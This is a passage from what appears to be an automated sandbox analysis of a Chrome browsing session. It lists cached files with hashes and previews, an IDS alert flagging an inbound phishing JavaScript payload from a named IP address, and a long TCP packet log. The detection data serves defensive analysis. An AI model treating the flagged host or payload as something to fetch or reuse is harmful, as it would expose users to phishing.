.p7d.u...0Zx...N.....QG.n...a....F..I..v^..m......../..........2....@S...v........w..'...C..CA.....s.kbK.$..#G=v..v.....;...n.-..4...U._...`@..*.....;.B1r.R...

Chrome Cache Entry: 79

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 15340, version 1.0
Category:	downloaded
Size (bytes):	15340
Entropy (8bit):	7.983406336508752
Encrypted:	false
SSDEEP:	384:F2gPJde0V2iGrQyD8b3k/tigCdeNqOUd47SH0tsGm:4gPVV2NQE8b3ldeNWH0Wb
MD5:	19B7A0ADFDD4F808B53AF7E2CE2AD4E5
SHA1:	81D5D4C7B5035AD10CCE63CF7100295E0C51FDDA
SHA-256:	C912A9CE0C3122D4B2B29AD26BFE06B0390D1A5BDAA5D6128692C0BEFD1DFBBD
SHA-512:	49DA16000687AC81FC4CA9E9112BDCA850BB9F32E0AF2FE751ABC57A8E9C3382451B50998CEB9DE56FC4196F1DC7EF46BBA47933FC47EB4538124870B7630036
Malicious:	false
Reputation:	low
URL:	https://fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmYUtfBBc4.woff2
Preview:	wOF2......;........d..;..........................d..z..J.`..L.Z..<.....\..`..^...x.6.$..6. ..\|. ..8..z%......Q.{..q...FF.kd .8.(..d..).!C...Y.JA...r. ..GH8F......nW...".2&....2<..+C...p...b..SC.......J......z.-..Q..#6&1zUe../\...l.....<.....9s...E~.]B-..B.wY..o......Q..A.F..1j.......-.`P% .. ,..@1.0..~.....WWW.d.u<c{..^.R.+..w....&.........A......+C....(.N.....0.~..0.J.;.Nu..7....]..m.H.....[h.GL3....?)....c.H...2.3.}y........SXI\|..iVN'%E.D.W....r..<`....i....6;E$.....U.$j.@...._.......R2....WS...k.vz.R.'a9!^...N....h.._.....c.%."..S.2.16B...o.2}.pmU[.\|.LI....2.....OWQLO1-....s..8.(...".\|6...6R.. ..M-.zO.}w)..v..mXxX...c..3#.+.v....F`.Z;.zQ.......r,....Yo.....g.h....+.....O.3Y..)Y.8.!....elX......._.3.}k~u.{ C..H.z..FP........@...d..)T.R...L.H.J.j.@..............$...E......y...3.b...I.h u.+%.HA.\..9..8..X.!....gx...].:..V..C...._..X..!....6..)...GM:E.....O.Z.}k.;.T.k..D.k.O..D5.r..."......?..T.Q.A...CF...3g.5.Dn<.QPy..G..1.9..Q..0..

Chrome Cache Entry: 80

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (17998)
Category:	downloaded
Size (bytes):	18618
Entropy (8bit):	5.640300193320173
Encrypted:	false
SSDEEP:	384:MolxP/aWS4dj4lfFVqEBSmur4+O5Un8OxuTtLRsFOuohfa8wnaeDg3z6MVRegEW9:DlMWSKcKDOhtLCONa8qae0rVReZWrPJ
MD5:	59D00FA56FB8B29068D96A431A52AE7B
SHA1:	9F8C5455383C49873A60CAEBACB1DECAAE0F909E
SHA-256:	76E6DCC56BA185BAB0F2E68B485146BC42E79395A67DF0F7C23A18790677DE09
SHA-512:	3BFF8DCB6FDF2B4DE78211D636AE0310891FE6653CD1C6CADE0AE8039AC0EB67659DA142040B6290133E0D928FA1D22061F0A043D86F232AD40527A80B30F7EE
Malicious:	false
Reputation:	low
URL:	https://www.google.com/js/bg/dubcxWuhhbqw8uaLSFFGvELnk5WmffD3wjoYeQZ33gk.js
Preview:	/* Anti-spam. Want to say hello? Contact (base64) Ym90Z3VhcmQtY29udGFjdEBnb29nbGUuY29t / (function(){var c=this\|\|self,C=function(d){return d},m=function(d,a){if(!(a=(d=null,c).trustedTypes,a)\|\|!a.createPolicy)return d;try{d=a.createPolicy("bg",{createHTML:C,createScript:C,createScriptURL:C})}catch(f){c.console&&c.console.error(f.message)}return d};(0,eval)(function(d,a){return(a=m())&&d.eval(a.createScript("1"))===1?function(f){return a.createScript(f)}:function(f){return""+f}}(c)(Array(Math.random()7824\|0).join("\n")+['(function(){/',.'',.' Copyright Google LLC',.' SPDX-License-Identifier: Apache-2.0',.'/',.'var dB=function(d,a,C){if(d.length==3){for(C=0;C<3;C++)a[C]+=d[C];for(C=(d=[13,8,13,12,16,5,3,10,15],0);C<9;C++)a[3](a,C%3,d[C])}},a2=function(d,a,C){return d.PE(function(m){C=m},false,a),C},cb=function(d,a,C,m,c,Z,e,F){return(F=X[(Z=(a=[27,-7,-92,-77,46,39,a,14,55,37],d&(e=f$,7)),m).V](m.uZ),F[m.V]=function(f){Z+=6+7*d,c=f,Z&=7},F).concat=function(f){return((c=(f=(f=C%16+1,+a

Chrome Cache Entry: 81

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	102
Entropy (8bit):	4.921030304008144
Encrypted:	false
SSDEEP:	3:JSbMqSL1cdXWKQKzaXORdQzXWaee:PLKdXNQKGeOL
MD5:	59EE3965FCB16F88E9BDC20B9CD8612E
SHA1:	3D93A27E4DAC9DDA01DC5BBCCA9E1F53E827DAF2
SHA-256:	020A92F2FB27981D1398F916AE17400F8F11473962EBD858B7BF6901814EDD7B
SHA-512:	3E4C07D9CE3DEDE2998A59C32A3FE12D781AAE33C4AFE8D2B9B0D12C18EB96257373098497B5F3C909EC1EDE64FEB4B4074DBDB9678B4D6B019CD64360222849
Malicious:	false
Reputation:	low
URL:	https://www.google.com/recaptcha/api2/webworker.js?hl=en&v=xds0rzGrktR88uEZ2JUvdgOY
Preview:	importScripts('https://www.gstatic.com/recaptcha/releases/xds0rzGrktR88uEZ2JUvdgOY/recaptcha__en.js');

Chrome Cache Entry: 82

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 48 x 48, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	530
Entropy (8bit):	7.2576396280117494
Encrypted:	false
SSDEEP:	12:6v/7OEUhUxzPKmghSn8nazyk+k8/OzxQcxNMvVb:bhUxzlvWkT8FcxK1
MD5:	88E0F42C9FA4F94AA8BCD54D1685C180
SHA1:	5AD9D47A49B82718BAA3BE88550A0B3350270C42
SHA-256:	89C62095126FCA89EA1511CF35B49B8306162946B0C26D6F60C5506C51D85992
SHA-512:	FAFF842E9FF4CC838EC3C724E95EEE6D36B2F8C768DC23E48669E28FC5C19AA24B1B34CF1DBCBE877B3537D6A325B4C35AF440C2B6D58F6A77A04A208D9296F8
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...0...0.......1.....gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....bKGD.........IDATX...JBA.....E-R... (#..-*$.}.%.Kt.A..Dx.I...AF.Q.4.......-.6..?.m:.,.......Q..D.L..e4..2.D..8)j4:......&>.s......p?......9.o5>.][H.}...&L.%.xh{~K.J\|.b..N..HMp....f.}dd..S..4%...$dK..!..Z..NNs.W&g..Fn....p...w..Ut...E\.e.......6......M.F...X.L......em.....R#'..%....j$/..-......@.l."..M.\|....OtW.H.,.-.~W`Z.s8..W...B...C-.8"H....6......9...A..aO.1`.M..A..eA.{...-...U.,.W........IEND.B`.

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-01T15:37:13.620487+0200	2857090	ETPRO PHISHING JS/PsyduckPockeball Payload Inbound	1	172.105.17.244	443	192.168.2.4	49736	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 1, 2024 15:37:00.956444979 CEST	49675	443	192.168.2.4	173.222.162.32
Oct 1, 2024 15:37:10.659688950 CEST	49675	443	192.168.2.4	173.222.162.32
Oct 1, 2024 15:37:12.039833069 CEST	49735	443	192.168.2.4	172.105.17.244
Oct 1, 2024 15:37:12.039902925 CEST	443	49735	172.105.17.244	192.168.2.4
Oct 1, 2024 15:37:12.039978027 CEST	49735	443	192.168.2.4	172.105.17.244
Oct 1, 2024 15:37:12.040154934 CEST	49736	443	192.168.2.4	172.105.17.244
Oct 1, 2024 15:37:12.040186882 CEST	443	49736	172.105.17.244	192.168.2.4
Oct 1, 2024 15:37:12.040237904 CEST	49736	443	192.168.2.4	172.105.17.244
Oct 1, 2024 15:37:12.040350914 CEST	49735	443	192.168.2.4	172.105.17.244
Oct 1, 2024 15:37:12.040363073 CEST	443	49735	172.105.17.244	192.168.2.4
Oct 1, 2024 15:37:12.040549994 CEST	49736	443	192.168.2.4	172.105.17.244
Oct 1, 2024 15:37:12.040569067 CEST	443	49736	172.105.17.244	192.168.2.4
Oct 1, 2024 15:37:12.529869080 CEST	443	49736	172.105.17.244	192.168.2.4
Oct 1, 2024 15:37:12.530215025 CEST	49736	443	192.168.2.4	172.105.17.244
Oct 1, 2024 15:37:12.530241013 CEST	443	49736	172.105.17.244	192.168.2.4
Oct 1, 2024 15:37:12.531282902 CEST	443	49736	172.105.17.244	192.168.2.4
Oct 1, 2024 15:37:12.531349897 CEST	49736	443	192.168.2.4	172.105.17.244
Oct 1, 2024 15:37:12.532407045 CEST	49736	443	192.168.2.4	172.105.17.244
Oct 1, 2024 15:37:12.532577991 CEST	443	49736	172.105.17.244	192.168.2.4
Oct 1, 2024 15:37:12.532680988 CEST	49736	443	192.168.2.4	172.105.17.244
Oct 1, 2024 15:37:12.532687902 CEST	443	49736	172.105.17.244	192.168.2.4
Oct 1, 2024 15:37:12.538178921 CEST	443	49735	172.105.17.244	192.168.2.4
Oct 1, 2024 15:37:12.538573027 CEST	49735	443	192.168.2.4	172.105.17.244
Oct 1, 2024 15:37:12.538600922 CEST	443	49735	172.105.17.244	192.168.2.4
Oct 1, 2024 15:37:12.539630890 CEST	443	49735	172.105.17.244	192.168.2.4
Oct 1, 2024 15:37:12.539702892 CEST	49735	443	192.168.2.4	172.105.17.244
Oct 1, 2024 15:37:12.540083885 CEST	49735	443	192.168.2.4	172.105.17.244
Oct 1, 2024 15:37:12.540137053 CEST	443	49735	172.105.17.244	192.168.2.4
Oct 1, 2024 15:37:12.626924992 CEST	49736	443	192.168.2.4	172.105.17.244
Oct 1, 2024 15:37:12.667315006 CEST	49735	443	192.168.2.4	172.105.17.244
Oct 1, 2024 15:37:12.667340994 CEST	443	49735	172.105.17.244	192.168.2.4
Oct 1, 2024 15:37:12.712686062 CEST	49735	443	192.168.2.4	172.105.17.244
Oct 1, 2024 15:37:13.440712929 CEST	443	49736	172.105.17.244	192.168.2.4
Oct 1, 2024 15:37:13.440741062 CEST	443	49736	172.105.17.244	192.168.2.4
Oct 1, 2024 15:37:13.440748930 CEST	443	49736	172.105.17.244	192.168.2.4
Oct 1, 2024 15:37:13.440820932 CEST	49736	443	192.168.2.4	172.105.17.244
Oct 1, 2024 15:37:13.440820932 CEST	443	49736	172.105.17.244	192.168.2.4
Oct 1, 2024 15:37:13.440862894 CEST	443	49736	172.105.17.244	192.168.2.4
Oct 1, 2024 15:37:13.440905094 CEST	49736	443	192.168.2.4	172.105.17.244
Oct 1, 2024 15:37:13.441029072 CEST	443	49736	172.105.17.244	192.168.2.4
Oct 1, 2024 15:37:13.441035986 CEST	443	49736	172.105.17.244	192.168.2.4
Oct 1, 2024 15:37:13.441082954 CEST	49736	443	192.168.2.4	172.105.17.244
Oct 1, 2024 15:37:13.441091061 CEST	443	49736	172.105.17.244	192.168.2.4
Oct 1, 2024 15:37:13.441730976 CEST	443	49736	172.105.17.244	192.168.2.4
Oct 1, 2024 15:37:13.441740036 CEST	443	49736	172.105.17.244	192.168.2.4
Oct 1, 2024 15:37:13.441797972 CEST	49736	443	192.168.2.4	172.105.17.244
Oct 1, 2024 15:37:13.441804886 CEST	443	49736	172.105.17.244	192.168.2.4
Oct 1, 2024 15:37:13.442015886 CEST	443	49736	172.105.17.244	192.168.2.4
Oct 1, 2024 15:37:13.442066908 CEST	49736	443	192.168.2.4	172.105.17.244
Oct 1, 2024 15:37:13.442073107 CEST	443	49736	172.105.17.244	192.168.2.4
Oct 1, 2024 15:37:13.442140102 CEST	49736	443	192.168.2.4	172.105.17.244
Oct 1, 2024 15:37:13.453002930 CEST	443	49736	172.105.17.244	192.168.2.4
Oct 1, 2024 15:37:13.453011990 CEST	443	49736	172.105.17.244	192.168.2.4
Oct 1, 2024 15:37:13.453079939 CEST	443	49736	172.105.17.244	192.168.2.4
Oct 1, 2024 15:37:13.453094959 CEST	49736	443	192.168.2.4	172.105.17.244
Oct 1, 2024 15:37:13.453110933 CEST	443	49736	172.105.17.244	192.168.2.4
Oct 1, 2024 15:37:13.453169107 CEST	49736	443	192.168.2.4	172.105.17.244
Oct 1, 2024 15:37:13.453180075 CEST	49736	443	192.168.2.4	172.105.17.244
Oct 1, 2024 15:37:13.530088902 CEST	443	49736	172.105.17.244	192.168.2.4
Oct 1, 2024 15:37:13.530108929 CEST	443	49736	172.105.17.244	192.168.2.4
Oct 1, 2024 15:37:13.530225039 CEST	49736	443	192.168.2.4	172.105.17.244
Oct 1, 2024 15:37:13.530251980 CEST	443	49736	172.105.17.244	192.168.2.4
Oct 1, 2024 15:37:13.530319929 CEST	49736	443	192.168.2.4	172.105.17.244
Oct 1, 2024 15:37:13.530325890 CEST	443	49736	172.105.17.244	192.168.2.4
Oct 1, 2024 15:37:13.539478064 CEST	443	49736	172.105.17.244	192.168.2.4
Oct 1, 2024 15:37:13.539500952 CEST	443	49736	172.105.17.244	192.168.2.4
Oct 1, 2024 15:37:13.539567947 CEST	49736	443	192.168.2.4	172.105.17.244
Oct 1, 2024 15:37:13.539576054 CEST	443	49736	172.105.17.244	192.168.2.4
Oct 1, 2024 15:37:13.539609909 CEST	49736	443	192.168.2.4	172.105.17.244
Oct 1, 2024 15:37:13.541538954 CEST	443	49736	172.105.17.244	192.168.2.4
Oct 1, 2024 15:37:13.541553020 CEST	443	49736	172.105.17.244	192.168.2.4
Oct 1, 2024 15:37:13.541651964 CEST	49736	443	192.168.2.4	172.105.17.244
Oct 1, 2024 15:37:13.541661024 CEST	443	49736	172.105.17.244	192.168.2.4
Oct 1, 2024 15:37:13.582932949 CEST	49736	443	192.168.2.4	172.105.17.244
Oct 1, 2024 15:37:13.617707014 CEST	443	49736	172.105.17.244	192.168.2.4
Oct 1, 2024 15:37:13.617727041 CEST	443	49736	172.105.17.244	192.168.2.4
Oct 1, 2024 15:37:13.617835045 CEST	49736	443	192.168.2.4	172.105.17.244
Oct 1, 2024 15:37:13.617846966 CEST	443	49736	172.105.17.244	192.168.2.4
Oct 1, 2024 15:37:13.617924929 CEST	49736	443	192.168.2.4	172.105.17.244
Oct 1, 2024 15:37:13.618319988 CEST	443	49736	172.105.17.244	192.168.2.4
Oct 1, 2024 15:37:13.618343115 CEST	443	49736	172.105.17.244	192.168.2.4
Oct 1, 2024 15:37:13.618380070 CEST	49736	443	192.168.2.4	172.105.17.244
Oct 1, 2024 15:37:13.618386984 CEST	443	49736	172.105.17.244	192.168.2.4
Oct 1, 2024 15:37:13.618417978 CEST	49736	443	192.168.2.4	172.105.17.244
Oct 1, 2024 15:37:13.618437052 CEST	49736	443	192.168.2.4	172.105.17.244
Oct 1, 2024 15:37:13.620507956 CEST	443	49736	172.105.17.244	192.168.2.4
Oct 1, 2024 15:37:13.620522976 CEST	443	49736	172.105.17.244	192.168.2.4
Oct 1, 2024 15:37:13.620599031 CEST	49736	443	192.168.2.4	172.105.17.244
Oct 1, 2024 15:37:13.620606899 CEST	443	49736	172.105.17.244	192.168.2.4
Oct 1, 2024 15:37:13.620651007 CEST	49736	443	192.168.2.4	172.105.17.244
Oct 1, 2024 15:37:13.631752968 CEST	443	49736	172.105.17.244	192.168.2.4
Oct 1, 2024 15:37:13.631776094 CEST	443	49736	172.105.17.244	192.168.2.4
Oct 1, 2024 15:37:13.631850004 CEST	49736	443	192.168.2.4	172.105.17.244
Oct 1, 2024 15:37:13.631859064 CEST	443	49736	172.105.17.244	192.168.2.4
Oct 1, 2024 15:37:13.631918907 CEST	49736	443	192.168.2.4	172.105.17.244
Oct 1, 2024 15:37:13.632759094 CEST	443	49736	172.105.17.244	192.168.2.4
Oct 1, 2024 15:37:13.632802010 CEST	443	49736	172.105.17.244	192.168.2.4
Oct 1, 2024 15:37:13.632831097 CEST	49736	443	192.168.2.4	172.105.17.244
Oct 1, 2024 15:37:13.632838011 CEST	443	49736	172.105.17.244	192.168.2.4
Oct 1, 2024 15:37:13.632882118 CEST	443	49736	172.105.17.244	192.168.2.4
Oct 1, 2024 15:37:13.632884026 CEST	49736	443	192.168.2.4	172.105.17.244
Oct 1, 2024 15:37:13.632930040 CEST	49736	443	192.168.2.4	172.105.17.244
Oct 1, 2024 15:37:13.825880051 CEST	49736	443	192.168.2.4	172.105.17.244
Oct 1, 2024 15:37:13.825900078 CEST	443	49736	172.105.17.244	192.168.2.4
Oct 1, 2024 15:37:13.864747047 CEST	49739	443	192.168.2.4	172.217.18.100
Oct 1, 2024 15:37:13.864799976 CEST	443	49739	172.217.18.100	192.168.2.4
Oct 1, 2024 15:37:13.864876032 CEST	49739	443	192.168.2.4	172.217.18.100
Oct 1, 2024 15:37:13.865214109 CEST	49739	443	192.168.2.4	172.217.18.100
Oct 1, 2024 15:37:13.865233898 CEST	443	49739	172.217.18.100	192.168.2.4
Oct 1, 2024 15:37:14.518589973 CEST	443	49739	172.217.18.100	192.168.2.4
Oct 1, 2024 15:37:14.518883944 CEST	49739	443	192.168.2.4	172.217.18.100
Oct 1, 2024 15:37:14.518913031 CEST	443	49739	172.217.18.100	192.168.2.4
Oct 1, 2024 15:37:14.519793034 CEST	443	49739	172.217.18.100	192.168.2.4
Oct 1, 2024 15:37:14.519860029 CEST	49739	443	192.168.2.4	172.217.18.100
Oct 1, 2024 15:37:14.925483942 CEST	49739	443	192.168.2.4	172.217.18.100
Oct 1, 2024 15:37:14.925688982 CEST	443	49739	172.217.18.100	192.168.2.4
Oct 1, 2024 15:37:14.928684950 CEST	49739	443	192.168.2.4	172.217.18.100
Oct 1, 2024 15:37:14.928704023 CEST	443	49739	172.217.18.100	192.168.2.4
Oct 1, 2024 15:37:14.937701941 CEST	49740	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:37:14.937726974 CEST	443	49740	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:14.937820911 CEST	49740	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:37:14.938399076 CEST	49740	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:37:14.938410997 CEST	443	49740	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:14.979340076 CEST	49739	443	192.168.2.4	172.217.18.100
Oct 1, 2024 15:37:15.123048067 CEST	443	49739	172.217.18.100	192.168.2.4
Oct 1, 2024 15:37:15.123091936 CEST	443	49739	172.217.18.100	192.168.2.4
Oct 1, 2024 15:37:15.123162031 CEST	49739	443	192.168.2.4	172.217.18.100
Oct 1, 2024 15:37:15.123198986 CEST	443	49739	172.217.18.100	192.168.2.4
Oct 1, 2024 15:37:15.123212099 CEST	443	49739	172.217.18.100	192.168.2.4
Oct 1, 2024 15:37:15.123256922 CEST	49739	443	192.168.2.4	172.217.18.100
Oct 1, 2024 15:37:15.471438885 CEST	49739	443	192.168.2.4	172.217.18.100
Oct 1, 2024 15:37:15.471477985 CEST	443	49739	172.217.18.100	192.168.2.4
Oct 1, 2024 15:37:15.566595078 CEST	443	49740	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:15.570532084 CEST	49740	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:37:15.570559978 CEST	443	49740	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:15.571582079 CEST	443	49740	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:15.571654081 CEST	49740	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:37:15.572623014 CEST	49740	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:37:15.572693110 CEST	443	49740	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:15.612144947 CEST	49740	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:37:15.612159014 CEST	443	49740	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:15.659056902 CEST	49740	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:37:16.250941038 CEST	49742	443	192.168.2.4	142.250.186.36
Oct 1, 2024 15:37:16.250994921 CEST	443	49742	142.250.186.36	192.168.2.4
Oct 1, 2024 15:37:16.251082897 CEST	49742	443	192.168.2.4	142.250.186.36
Oct 1, 2024 15:37:16.251365900 CEST	49742	443	192.168.2.4	142.250.186.36
Oct 1, 2024 15:37:16.251377106 CEST	443	49742	142.250.186.36	192.168.2.4
Oct 1, 2024 15:37:16.294585943 CEST	49743	443	192.168.2.4	184.28.90.27
Oct 1, 2024 15:37:16.294632912 CEST	443	49743	184.28.90.27	192.168.2.4
Oct 1, 2024 15:37:16.294732094 CEST	49743	443	192.168.2.4	184.28.90.27
Oct 1, 2024 15:37:16.320244074 CEST	49743	443	192.168.2.4	184.28.90.27
Oct 1, 2024 15:37:16.320276976 CEST	443	49743	184.28.90.27	192.168.2.4
Oct 1, 2024 15:37:16.909109116 CEST	443	49742	142.250.186.36	192.168.2.4
Oct 1, 2024 15:37:16.909521103 CEST	49742	443	192.168.2.4	142.250.186.36
Oct 1, 2024 15:37:16.909545898 CEST	443	49742	142.250.186.36	192.168.2.4
Oct 1, 2024 15:37:16.910521984 CEST	443	49742	142.250.186.36	192.168.2.4
Oct 1, 2024 15:37:16.910578012 CEST	49742	443	192.168.2.4	142.250.186.36
Oct 1, 2024 15:37:16.910926104 CEST	49742	443	192.168.2.4	142.250.186.36
Oct 1, 2024 15:37:16.910984039 CEST	443	49742	142.250.186.36	192.168.2.4
Oct 1, 2024 15:37:16.911217928 CEST	49742	443	192.168.2.4	142.250.186.36
Oct 1, 2024 15:37:16.911225080 CEST	443	49742	142.250.186.36	192.168.2.4
Oct 1, 2024 15:37:16.954694986 CEST	49742	443	192.168.2.4	142.250.186.36
Oct 1, 2024 15:37:16.978343010 CEST	443	49743	184.28.90.27	192.168.2.4
Oct 1, 2024 15:37:16.978429079 CEST	49743	443	192.168.2.4	184.28.90.27
Oct 1, 2024 15:37:16.984402895 CEST	49743	443	192.168.2.4	184.28.90.27
Oct 1, 2024 15:37:16.984422922 CEST	443	49743	184.28.90.27	192.168.2.4
Oct 1, 2024 15:37:16.984669924 CEST	443	49743	184.28.90.27	192.168.2.4
Oct 1, 2024 15:37:17.161497116 CEST	49743	443	192.168.2.4	184.28.90.27
Oct 1, 2024 15:37:17.195492983 CEST	443	49742	142.250.186.36	192.168.2.4
Oct 1, 2024 15:37:17.195534945 CEST	443	49742	142.250.186.36	192.168.2.4
Oct 1, 2024 15:37:17.195837975 CEST	49742	443	192.168.2.4	142.250.186.36
Oct 1, 2024 15:37:17.195867062 CEST	443	49742	142.250.186.36	192.168.2.4
Oct 1, 2024 15:37:17.196058989 CEST	443	49742	142.250.186.36	192.168.2.4
Oct 1, 2024 15:37:17.196101904 CEST	49742	443	192.168.2.4	142.250.186.36
Oct 1, 2024 15:37:17.347197056 CEST	49743	443	192.168.2.4	184.28.90.27
Oct 1, 2024 15:37:17.351229906 CEST	49742	443	192.168.2.4	142.250.186.36
Oct 1, 2024 15:37:17.351274967 CEST	443	49742	142.250.186.36	192.168.2.4
Oct 1, 2024 15:37:17.357846975 CEST	49744	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:37:17.357883930 CEST	443	49744	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:17.357949972 CEST	49744	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:37:17.358374119 CEST	49744	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:37:17.358387947 CEST	443	49744	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:17.391391039 CEST	443	49743	184.28.90.27	192.168.2.4
Oct 1, 2024 15:37:17.535809040 CEST	443	49743	184.28.90.27	192.168.2.4
Oct 1, 2024 15:37:17.536058903 CEST	443	49743	184.28.90.27	192.168.2.4
Oct 1, 2024 15:37:17.536113977 CEST	49743	443	192.168.2.4	184.28.90.27
Oct 1, 2024 15:37:17.932008982 CEST	49743	443	192.168.2.4	184.28.90.27
Oct 1, 2024 15:37:17.932029963 CEST	443	49743	184.28.90.27	192.168.2.4
Oct 1, 2024 15:37:17.980582952 CEST	49747	443	192.168.2.4	184.28.90.27
Oct 1, 2024 15:37:17.980633020 CEST	443	49747	184.28.90.27	192.168.2.4
Oct 1, 2024 15:37:17.980695963 CEST	49747	443	192.168.2.4	184.28.90.27
Oct 1, 2024 15:37:17.981069088 CEST	49747	443	192.168.2.4	184.28.90.27
Oct 1, 2024 15:37:17.981084108 CEST	443	49747	184.28.90.27	192.168.2.4
Oct 1, 2024 15:37:17.986418009 CEST	443	49744	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:17.986866951 CEST	49744	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:37:17.986874104 CEST	443	49744	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:17.987873077 CEST	443	49744	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:17.987948895 CEST	49744	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:37:17.989295006 CEST	49744	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:37:17.989353895 CEST	443	49744	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:17.989752054 CEST	49744	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:37:17.989757061 CEST	443	49744	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:18.064150095 CEST	49744	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:37:18.288835049 CEST	443	49744	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:18.288912058 CEST	443	49744	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:18.288949966 CEST	443	49744	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:18.289001942 CEST	443	49744	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:18.289005041 CEST	49744	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:37:18.289015055 CEST	443	49744	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:18.289036036 CEST	49744	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:37:18.289079905 CEST	443	49744	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:18.289129019 CEST	49744	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:37:18.289134979 CEST	443	49744	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:18.294670105 CEST	443	49744	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:18.294787884 CEST	49744	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:37:18.294794083 CEST	443	49744	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:18.301018000 CEST	443	49744	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:18.301095009 CEST	49744	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:37:18.301100969 CEST	443	49744	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:18.307295084 CEST	443	49744	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:18.307545900 CEST	49744	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:37:18.307550907 CEST	443	49744	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:18.375408888 CEST	443	49744	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:18.375485897 CEST	49744	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:37:18.375492096 CEST	443	49744	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:18.377986908 CEST	443	49744	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:18.378140926 CEST	49744	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:37:18.378145933 CEST	443	49744	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:18.384186983 CEST	443	49744	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:18.384329081 CEST	49744	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:37:18.384334087 CEST	443	49744	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:18.390642881 CEST	443	49744	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:18.390741110 CEST	49744	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:37:18.390746117 CEST	443	49744	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:18.397181988 CEST	443	49744	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:18.397259951 CEST	49744	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:37:18.397263050 CEST	443	49744	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:18.403480053 CEST	443	49744	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:18.403666973 CEST	49744	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:37:18.403671980 CEST	443	49744	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:18.409468889 CEST	443	49744	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:18.409548044 CEST	49744	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:37:18.409554005 CEST	443	49744	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:18.415218115 CEST	443	49744	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:18.415332079 CEST	49744	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:37:18.415337086 CEST	443	49744	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:18.421873093 CEST	443	49744	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:18.421988964 CEST	49744	443	192.168.2.4	142.250.185.132
Oct 1, 2024 15:37:18.421993971 CEST	443	49744	142.250.185.132	192.168.2.4
Oct 1, 2024 15:37:18.428859949 CEST	443	49744	142.250.185.132	192.168.2.4
